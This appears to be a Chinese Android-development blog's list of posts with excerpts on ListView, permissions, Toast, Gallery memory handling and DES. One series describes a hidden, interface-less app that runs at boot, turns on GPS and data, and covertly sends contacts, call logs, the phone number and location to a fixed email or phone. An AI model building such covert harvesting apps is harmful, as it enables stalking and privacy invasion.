移动android开发
踏雪寻梅__
这个作者很懒,什么都没留下…
展开
-
ListView学习(一) 滑动分页时底部显示进度条
我们在使用listview时难免会遇到分页的情况,既然是分页,那么能给用户看见分页的情况,无疑让用户在等待下一页数据的时候会有好处的,如果获取下一页时间过久的话,用户会觉得好像死机了,这样就会给用户一个不好的体验,下面我就来实现在listview分页是现实进度条,由于这个效果的要求不高,我只使用了很简单的方式来实现,高手莫笑哦! 1、首先便是xml文件<?xml version=...原创 2011-05-15 14:24:01 · 152 阅读 · 0 评论 -
android 权限介绍(一)
Manifest.permission 这个类定义了android全部的权限共106个ACCESS_CHECKIN_PROPERTIES允许读写访问"properties"表在checkin数据库中,改值可以修改上传ACCESS_COARSE_LOCATION允许应用程序访问粗糙的位置(例如:Cell-ID,WiFi)。ACCES...原创 2011-06-02 17:00:07 · 115 阅读 · 0 评论 -
android 权限介绍(二)
SYSTEM_ALERT_WINDOW允许程序打开窗口通过使用TYPE_SYSTEM_ALERT,显示在其他所有程序的顶层UPDATE_DEVICE_STATS允许程序更新设备统计信息VIBRATE允许访问振动设备WAKE_LOCK允许使用PowerManager的WakeLocks保持进程在休...原创 2011-06-02 17:08:58 · 84 阅读 · 0 评论 -
Android Activity界面切换添加动画特效
在Android 2.0之后有了overridePendingTransition() ,其中里面两个参数,一个是前一个activity的退出两一个activity的进入,@Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceStat...原创 2011-06-14 13:48:57 · 95 阅读 · 0 评论 -
文字中间加横线效果
priceTV.setText("价格:2.00元"); priceTV.getPaint().setFlags(Paint.STRIKE_THRU_TEXT_FLAG);原创 2012-02-02 11:00:33 · 145 阅读 · 0 评论 -
Toast显示图片
转自:http://blog.csdn.net/linghu_java/article/details/7222428Toast用于向用户显示一些帮助/提示。下面展示了5种效果,来说明Toast的强大。注意: LENGTH_LONG---长时间显示视图或文本提示LENGTH_SHORT---短时间显示视图或文本提示setGravity(int gravity,int ...原创 2012-02-02 12:56:43 · 97 阅读 · 0 评论 -
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录)...
首先声明者只是一个个人开发的个人使用的小程序,本意是为了防止手机被盗而写的,由于程序需要在不为人知的情况下采集信息然后发送,所以程序没有界面。整个程序的大概思路是这样的手机开始时:1、获取手机联系人信息、通话记录、手机号码2、检查手机gps状态:关闭状态则开启 ,然后获取手机的所在地3、检查手机网络开关,关闭则开启4、将采集的信息发送到指定邮箱中(本文以qq邮箱实现,由于代码太...原创 2011-11-08 12:46:00 · 656 阅读 · 0 评论 -
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)...
public static String getCityNameByGps() { LocationManager lm = (LocationManager) context .getSystemService(Context.LOCATION_SERVICE); Criteria criteria = new Criteria(); criteria.setAccuracy(C...2011-11-08 12:48:50 · 736 阅读 · 0 评论 -
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)...
static Uri uri = Uri.parse("content://telephony/carriers"); static Context context; public APNUtils(Context context){ this.context=context; } /** * 检查网络 * @return */ public static boolean checkNe...2011-11-08 12:51:31 · 315 阅读 · 0 评论 -
编写高效的Android代码(提高运行速度,节省电量)
编写高效的Android代码(提高运行速度,节省电量) 虽然如此说,但似乎并没有什么好的:Android设备是嵌入式设备。现代的手持设备,与其说是电脑。但是,即使是“最快”的手持设备,其性能也赶不上一台普通的台式电脑。 这就是为什么我们在书写Android应用程序的时候要格外关注效率。这些设备并没有那么快,并且受电池电量的制约。这意味着,设备没有更多的能力,我们必须把程序写的尽量有...原创 2011-06-02 16:28:34 · 130 阅读 · 0 评论 -
[整理]Selector、shape详解
Selector、shape详解(一)Selector的结构描述:<?xml version="1.0" encoding="utf-8"?> <selector xmlns:android="http://schemas.android.com/apk/res/android" > <item andro...原创 2011-06-02 15:15:16 · 85 阅读 · 0 评论 -
[转帖]Android自定义Activity漂亮跳转效果
Android自定义Activity漂亮跳转效果两个Activity跳转的时候,自定义翻页效果:Intent intent = new Intent(FirstActivity.this, SecondActivity.class); startActivityForResult(intent, 11); //添加界面切换效果,注意只有A...原创 2011-05-31 20:10:53 · 91 阅读 · 0 评论 -
android饼状图表
相信图表再很多统计应用都会应用,再这里我想向介绍一个第三方的jar包--j4lChartAndroid.jar,再这里基本上平时用到的图表都有,这里我们就只介绍饼状3d图表 1、xml文件<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android...2011-05-15 15:12:13 · 74 阅读 · 0 评论 -
[整理] 操作通话记录(二)
//处理时间 public String formatDuring(long mss) { long hours = mss / (60 * 60); long minutes = (mss % (1000 * 60 * 60)) / 60; long seconds = (mss % (1000 * 60)); ret...原创 2011-05-25 11:25:42 · 255 阅读 · 0 评论 -
[整理] 操作通话记录(一)
/**为了方便后面页面的封装,这里定义了一个实体类*/public class Call { private Bitmap img; private String telName; private String telNo; private String telDate; private String telTime; ...原创 2011-05-25 11:31:30 · 275 阅读 · 0 评论 -
ListView学习(二) 点击条目隐藏展开正文
本篇是listview条目点击展开或者隐藏内容,本文参照了android apiDemo写成,主要思想仍然普通的listview组件,listview条目下面有两个textview,第一个为标题、第二个为内容,根据点击标题来设置是否将写有内容的textView隐藏,下面我们就简单实现一下这个功能,原理和技术都很简单,这里就不多说了,下面就看代码,相信一看就会明白!1、首先定义一个实体类:p...原创 2011-05-28 00:00:21 · 93 阅读 · 0 评论 -
ListView学习(三) 加载视野内的数据
在滑动的过程中,只有在视野中的item才会加载数据,其他的其实显示的都是”loading…” 这样的好处就是如果加载的是图片的话,那么始终加载的只是几张图片而非是所有的图片,这样就能很好的避免出现内存溢出的问题,当然其他的图片要及时的回收才行,否则图片对象依然在内存里(这样的话图片最好先保存在本地,这样就不会频繁的发送请求,就不会产生网络流量),关于加载大量图片的问题会在以后的文章中出现。下面就看...原创 2011-05-31 17:13:42 · 94 阅读 · 0 评论 -
gallery加载大量图片时内存溢出的解决方法(一)
这只是我以前开始搞android事留下的代码,发现还是存在问题的,我现在把代码放出来,仅供参考,如没有帮助就不要看了,Gallery加载大量图片的时候容易内存溢出,但是如果及时回收不用的图片,在使用的时候再重新加载,这样就不会出现内存溢出的现象了,所以一定要将加载图片的地址保存起来,在加载图片的时候将生成的bitmap对象用图片地址的字符串保存在map里,不用的时候再根据key值回收。下面...2011-05-31 18:55:29 · 245 阅读 · 0 评论 -
gallery加载大量图片时内存溢出的解决方法(二)
Paint deafalutPaint = new Paint(); canvas.drawRect(0, height, width, height + reflectionGap, deafalutPaint); canvas.drawBitmap(reflectionImage, 0, height + reflectionGap, null); ...2011-05-31 18:56:39 · 201 阅读 · 0 评论 -
gallery加载大量图片时内存溢出的解决方法(三)
6、ImageAdapterpublic class ImageAdapter extends BaseAdapter { private Context mContext;// 上下文 public ImageAdapter(Context c) { this.mContext = c; } @...2011-05-31 19:14:52 · 117 阅读 · 0 评论 -
android 使用des算法
转自:http://www.linuxidc.com/Linux/2011-08/41866.htm 稍有改动import java.security.Key;import java.security.spec.AlgorithmParameterSpec;import javax.crypto.Cipher;import javax.crypto.SecretKeyFactory;imp...原创 2012-02-09 12:52:51 · 92 阅读 · 0 评论